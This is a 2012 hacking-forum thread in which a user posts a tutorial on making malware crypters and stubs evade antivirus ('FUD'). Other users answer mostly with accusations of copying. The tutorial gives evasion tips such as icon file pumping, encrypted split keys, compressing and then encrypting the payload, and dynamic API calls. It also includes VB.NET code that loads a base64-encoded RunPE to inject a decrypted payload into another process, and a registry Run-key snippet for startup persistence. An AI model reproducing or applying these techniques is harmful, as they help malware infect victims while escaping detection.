

Forum:[Hack Forums](#)

Thread: [\[TUT\] A few crypter/stub FUD'ing techniques plus some helpful functions](#)

XBLshun - October 18, 2012, 3:46 pm

Things you need

- 1) - [Common Sense](#)
- 2) - An understanding of how crypters work (Like knowing the difference between builder and stub). Search google or search this forum for more info.
- 3) - Some programming experience. For this TUT I'll be using vb.net.
- 4) - Not to be judgemental. (I know my rep is bad...)
- 5) - My implementations of my FUD'ing techniques. I'll include download links and other stuff like that in this TUT.

Alright, let's get started...

FUD Builder Concepts

The idea behind a FUD crypter also includes your builder. Why might you ask?! Because the builder is how the file is crypted and how the malicious information is brought together with the crypted server and with the concepts I'm about to show you, it also includes some minor FUD techniques...

Before we proceed, let me give you two of the best crypter writing TUTs I've found on this forum.

[TUT 1 - Scantime Concept](#)

[TUT 2 - Runtime Concept](#)

Now that you have those, you might have a better understanding of crypter writing. Some of my ideas that I've included in my runtime crypter come from both those forum posts...

Next, for a FUD stub, in my opinion you're going to want 2 things in the builder.

1 -- An icon changer function (Here's a [LINK](#) for a class I've created that you can add...)

You call it like this...

Code Dim Save_File As New SaveFileDialog ' This will be what you save your server as...

Dim OpenIconFile As New OpenFileDialog

IconChanger.InjectIcon(Save_File, OpenIconFile2 - A file pumper. This is essentially a junk code generator. But instead of using it on your server, you want to use it on your icon and make it around 80kb in size total and then inject that icon. [LINK](#) Just to let you know though, the source I added for the file pumper will need some minor modifications to get it to add kilobytes.

FUD Stub Concepts

Now the fun part...

For a FUD stub, there's a whole host of things you're going to need.

First off, you need to know that when you're using "Your Split Key", you're going to want to have that encrypted, same thing applies in the builder though. Use sites like Crypto and stuff for that.

Secondly, best thing I've found is not to use the EOF method. It's really detected, it still can get down to like 4/37 because I've done it but it's a pain. To go along with that, try using IO.File or FileSystem.File*** as an alternative.

Third, try to find a zipping function on google so you can zip then encrypt your file. It helps with alot of detections

Lastly, when you add a RunPE to your project your going to want to encrypt it with a strong encyption and also use [THIS](#). This is AeonHack's dynamic API calls. This part s where common sense comes in. Also instead of LoadLibraryA, use LoadLibraryExA for the CreateAPI part. Here's th RunPE I FUD'ed, It's easy to incorporate what I just mentioned. [LINK](#)

Also when trying to FUD the RunPE, you're going to want to convert it to a base64 string using a program (that I will provide in a moment), then you add it as a resource and invoke it, like this....

```
Code Dim unpack As Byte() = YourDecryptedSever
Dim inj As String = PathYouWantToInject
Assembly.Load(Convert.FromBase64String(Encoding.Default.GetString
(My.Resources.RunPE))).GetType("RunPE.ClassName").GetMethod
("RunPEsub").Invoke(Nothing, New Object() {unpack, inj})As I promised, Base64 Encoder Download.
```

Some Helpful Functions

The last section will just cover some helpful functions for your stub. Only 1 really plus a link to some other helpful tips.

Add to start up Function

```
Code Dim app As String = IO.Path.GetTempPath & "YourPreferredStartup.exe"
```

```
My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\
Run", True).SetValue("YourStart", app)Lastly, here's a LINK to some enable/disable functions and I
got 1 more thing for you guys, A BUNCH OF ENCRYPT/DECRYPT FUNCTIONS!
```

Conclusion

Credits to all the people who posted the wonderful tutorials and sources. I hope you all find my tutorial helpful and useful. Peace out guys...

tweety - October 18, 2012, 3:58 pm

What no credits? Also who the hell uses FileOpen these days? Codedom is more efficient. This is probably the worst tut since you learnt all this (Copy and pasted) recently.

EDIT: You just took credit for the icon changing class when you didn't make it. Leecher.

EDIT 2: This isn't even a guide..

Kustom - October 18, 2012, 3:59 pm

(Oct 18, 2012 03:58 PM)Tweety. Wrote: [\[CITE\]](#) What no credits? Also who the hell uses FileOpen these days? Codedom is more efficient. This is probably the worst tut since you learnt all this (Copy and pasted) recently.

Every post you make is talking shit about everything. I like it.

XBLshun - October 18, 2012, 4:49 pm

(Oct 18, 2012 03:59 PM)Kustom Wrote: [\[CITE\]](#) Every post you make is talking shit about everything. I like it.

<3Thanks for the save! Tweety can go fuck himself!

tweety - October 19, 2012, 12:49 am

(Oct 18, 2012 04:49 PM)XBLshun Wrote: [\[CITE\]](#) Thanks for the save! Tweety can go fuck himself! Turn's out Kustom was complementing my attitude towards people like you lol.

Support. - October 19, 2012, 3:10 am

Eugh, why do some people just not get it?

C+P leeching waster. You should be banned for how much you've taken the piss out of the leeching rule.

sam2011hacker - October 29, 2012, 4:54 pm

Quote:correct me if i am wrong.

i dont find it leeched in anyway except that program u shared. The reason is he said at the end credit to all who posted

other thing is that, i have never seen some different method to FUD stub on HF except that ageold changing string to someother and those junk codes addition + fake calling function.

Atleast it brought something different than other.

According to me your tutorial was good. atleast better than other age old trick.

So thanks a lot, for this.